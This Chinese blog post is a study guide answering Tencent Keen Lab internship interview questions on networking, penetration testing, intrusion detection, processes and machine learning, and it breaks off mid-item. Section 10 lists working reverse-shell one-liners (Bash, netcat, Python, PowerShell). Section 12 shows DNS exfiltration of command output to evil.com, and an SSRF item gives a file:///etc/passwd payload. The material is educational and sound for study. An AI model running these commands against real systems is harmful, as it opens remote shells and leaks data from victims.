网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
腾讯科恩实验室实习 一面
一、网络协议与安全基础
1. TCP三次握手
二、渗透测试与漏洞利用
2. 渗透测试流程(5阶段)
3. SSRF漏洞原理与利用
三、内网渗透与防御对抗
4. 内网渗透流程(4步骤)
5. 防守方入侵检测手段
四、操作系统与进程管理
6. 线程与进程的区别
7. 进程与内存空间
8. 父子进程与孤儿/僵尸进程
9. Kill进程时的父子关系影响
五、安全工具与攻击技术
10. 反弹Shell的几种方式
11. ATT&CK矩阵中的Command and Control(C&C)
12. DNS解析获取命令回显
六、Linux与开发基础
13. Linux命令通配符
七、机器学习与算法
14. SVM与KNN对比
15. 卷积神经网络(CNN)
八、数据处理与安全分析
16. 莱温斯坦距离(编辑距离)
17. 倒排索引
18. 基于MD5的恶意样本分类
腾讯科恩实验室实习 一面
tcp 三次握手 渗透测试流程 SSRF漏洞原理 内网渗透大致流程 防守方有哪些入侵检测手段,有哪些痕迹可以被抓取 线程与进程得区别 进程与内存空间得区别 父子进程的介绍 孤儿进程与僵尸进程 Kill一个进程的时候,发送了哪些事情(父子进程的角度描述) 反弹shell的几种方式(https://www.revshells.com/) att&ck矩阵的类别,介绍其中的CC 到域名下拿到命令执行的结果-dns域名解析获取命令回显 linux命令通配符 SVM与KNN介绍 卷积神经网络介绍 莱温斯坦距离 倒排索引 恶意样本给出函数家族的md5,如何分类
一、网络协议与安全基础
1. TCP三次握手
过程与状态机:
- SYN(同步):客户端发送SYN包(
SYN=1, Seq=x
),进入SYN_SENT
状态。- SYN-ACK(同步确认):服务端响应SYN-ACK包(
SYN=1, ACK=1, Seq=y, Ack=x+1
),进入SYN_RCVD
状态。- ACK(确认):客户端发送ACK包(
ACK=1, Ack=y+1
),双方进入ESTABLISHED
状态。核心意义:
- 防止历史重复连接初始化(通过随机序列号验证)。
- 通过三次确认确保双方收发能力正常。
二、渗透测试与漏洞利用
2. 渗透测试流程(5阶段)
- 信息收集:
- 被动扫描:Whois查询、DNS记录、GitHub敏感信息。
- 主动探测:Nmap端口扫描、Wappalyzer识别Web框架。
- 漏洞分析:
- Web漏洞:SQL注入、SSRF、XSS(通过Burp Suite检测)。
- 服务漏洞:Redis未授权访问、SMB漏洞(如EternalBlue)。
- 漏洞利用:
- 工具化利用:Metasploit模块(如
exploit/multi/http/log4shell
)。- 手动利用:构造特定Payload绕过WAF。
- 后渗透阶段:
- 权限提升:利用Linux内核漏洞(如DirtyPipe)、Windows令牌窃取。
- 横向移动:Pass-the-Hash、Kerberoasting攻击域环境。
- 报告与清理:
- 输出攻击路径图,提供修复建议(如关闭高危端口、升级组件)。
3. SSRF漏洞原理与利用
原理:服务端未校验用户输入的URL,导致攻击者可访问内网资源或本地服务。
典型场景:
- 读取本地文件:
file:///etc/passwd
。- 攻击内网服务:
http://192.168.1.1:8080/admin
。- 绕过IP限制:通过DNS重绑定攻击(如
http://attacker-controlled-domain
解析为内网IP)。防御:
- 限制协议类型(禁用
file://
、gopher://
)。- 校验请求目标IP是否为内网地址。
三、内网渗透与防御对抗
4. 内网渗透流程(4步骤)
- 突破边界:
- 通过Web漏洞获取Web服务器权限(如Struts2 RCE)。
- 利用VPN或邮件钓鱼获取初始入口。
- 信息收集:
- 主机发现:
arp-scan
、nbtscan
。- 域环境探测:
nltest /dclist
、BloodHound分析域关系。- 横向移动:
- 协议利用:SMB(PsExec)、WinRM(Evil-WinRM)。
- 凭证窃取:Mimikatz抓取内存密码、LSASS dump。
- 权限维持:
- 计划任务:
schtasks /create
。- 隐蔽后门:Cobalt Strike Beacon、Metasploit Meterpreter。
5. 防守方入侵检测手段
检测技术分类:
- 网络层检测:
- IDS规则:检测SQL注入特征(如
UNION SELECT
)。- 流量异常:高频DNS请求(可能为C2通信)。
- 主机层检测:
- EDR监控:检测进程注入(如DLL侧加载)。
- 文件监控:Tripwire检查系统文件篡改。
可抓取痕迹:
- 系统日志:Windows安全事件ID 4624(登录日志)、4688(进程创建)。
- 网络日志:HTTP请求头中的异常User-Agent(如SQLMap默认UA)。
四、操作系统与进程管理
6. 线程与进程的区别
维度 进程 线程 资源分配 独立内存空间、文件句柄 共享进程资源 切换开销 高(需切换页表、上下文) 低(仅切换寄存器、栈) 通信方式 管道、信号、共享内存 直接读写进程内存 应用场景:
- 进程:隔离性要求高的任务(如浏览器多标签)。
- 线程:高并发任务(如Web服务器处理请求)。
7. 进程与内存空间
内存分区:
- 代码段(Text):存放可执行指令(只读)。
- 数据段(Data):全局变量和静态变量。
- 堆(Heap):动态分配内存(如
malloc()
),需手动释放。- 栈(Stack):函数调用栈、局部变量(自动管理)。
隔离机制:
- 每个进程通过页表映射物理内存,防止越界访问(MMU硬件支持)。
8. 父子进程与孤儿/僵尸进程
- 父子进程:
- 通过
fork()
创建,子进程复制父进程的代码段、数据段和堆栈。- 父子进程通过管道或信号通信。
- 孤儿进程:父进程先于子进程终止,子进程由init进程(PID=1)接管。
- 僵尸进程:子进程终止后,父进程未调用
wait()
回收其状态,仍占用进程表项。9. Kill进程时的父子关系影响
- 终止父进程:
- 子进程变为孤儿进程,由init进程接管。
- 若父进程未处理子进程退出信号,子进程可能成为僵尸。
- 终止子进程:
- 父进程需通过
wait()
或SIGCHLD
信号处理回收子进程资源。- 未回收的僵尸进程会持续占用系统资源(如PID)。
五、安全工具与攻击技术
10. 反弹Shell的几种方式
- Bash反向Shell: bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
- Netcat监听: bash
nc -e /bin/sh 10.0.0.1 4444
- Python反向Shell: python
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.0.0.1",4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) subprocess.call(["/bin/sh","-i"])
- PowerShell反向Shell: powershell
$client = New-Object System.Net.Sockets.TCPClient("10.0.0.1",4444) $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $smsg = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($smsg,0,$smsg.Length)}
11. ATT&CK矩阵中的Command and Control(C&C)
ATT&CK类别:
- 战术(Tactic):C&C属于“Command and Control”战术(TA0011)。
- 技术(Technique):
- 应用层协议(T1071):如HTTP API通信、DNS隧道(DNSCat2)。
- 加密通道(T1573):使用TLS伪装为正常HTTPS流量。
- 域名生成算法(DGA)(T1568):动态生成域名规避黑名单。
防御建议:
- 监控异常DNS请求(如长域名、高频请求)。
- 使用网络流量分析工具(如Zeek)检测加密流量特征。
12. DNS解析获取命令回显
操作流程:
- 攻击者控制域名
evil.com
的DNS服务器。- 在目标机器执行命令并外传结果: bash
nslookup $(whoami | base64).evil.com
- 攻击者解析DNS查询日志,获取Base64编码的结果。
防御检测:
- 监控异常DNS请求(如子域名包含特殊字符或编码数据)。
- 限制内网机器的DNS出口流量。
六、Linux与开发基础
13. Linux命令通配符
符号 功能 示例 *
匹配任意长度字符 rm *.log
(删除所有日志)?
匹配单个字符 ls file?.txt
[]
匹配指定字符范围 cp [a-z]*.txt dir/
{}
扩展多个模式 touch {1..10}.txt
注意:通配符在命令参数解析前由Shell展开。
七、机器学习与算法
14. SVM与KNN对比
维度 SVM KNN 原理 寻找最优超平面最大化分类间隔 基于邻近样本投票决定类别 适用场景 高维数据、小样本 低维数据、大规模样本 计算复杂度 训练复杂度高,预测快 训练复杂度低,预测慢 抗噪声 强(通过间隔最大化) 弱(依赖局部样本密度) SVM核心参数:
- 核函数(线性、RBF)、惩罚系数C。
15. 卷积神经网络(CNN)
核心组件:
- 卷积层:使用滤波器提取局部特征(如边缘、纹理)。
- 池化层:降维并保留关键信息(最大池化、平均池化)。
- 全连接层:将特征映射到分类结果。
经典模型:
- LeNet-5(手写数字识别)、ResNet(残差连接解决梯度消失)。
应用领域:
- 图像分类、目标检测(YOLO)、自然语言处理(文本分类)。
八、数据处理与安全分析
16. 莱温斯坦距离(编辑距离)
定义:将字符串A转换为字符串B所需的最少单字符编辑(插入、删除、替换)次数。
应用场景:
- 拼写检查(如
kitten
→sitting
,距离=3)。- DNA序列比对、模糊搜索。
17. 倒排索引
原理:记录每个词项(term)出现在哪些文档中。
示例:
- 文档1:
"apple banana"
- 文档2:
"banana cherry"
- 倒排索引: json
{ "apple": [1], "banana": [1, 2], "cherry": [2] }
应用:搜索引擎(如Elasticsearch)、日志分析。
18. 基于MD5的恶意样本分类
操作步骤:
- 特征提取:计算样本中关键函数(如API调用序列)的MD5哈希。
- 聚类分析:
- 使用层次聚类(Hierarchical Clustering)按哈希相似度分组。
- 结合函数调用图(FCG)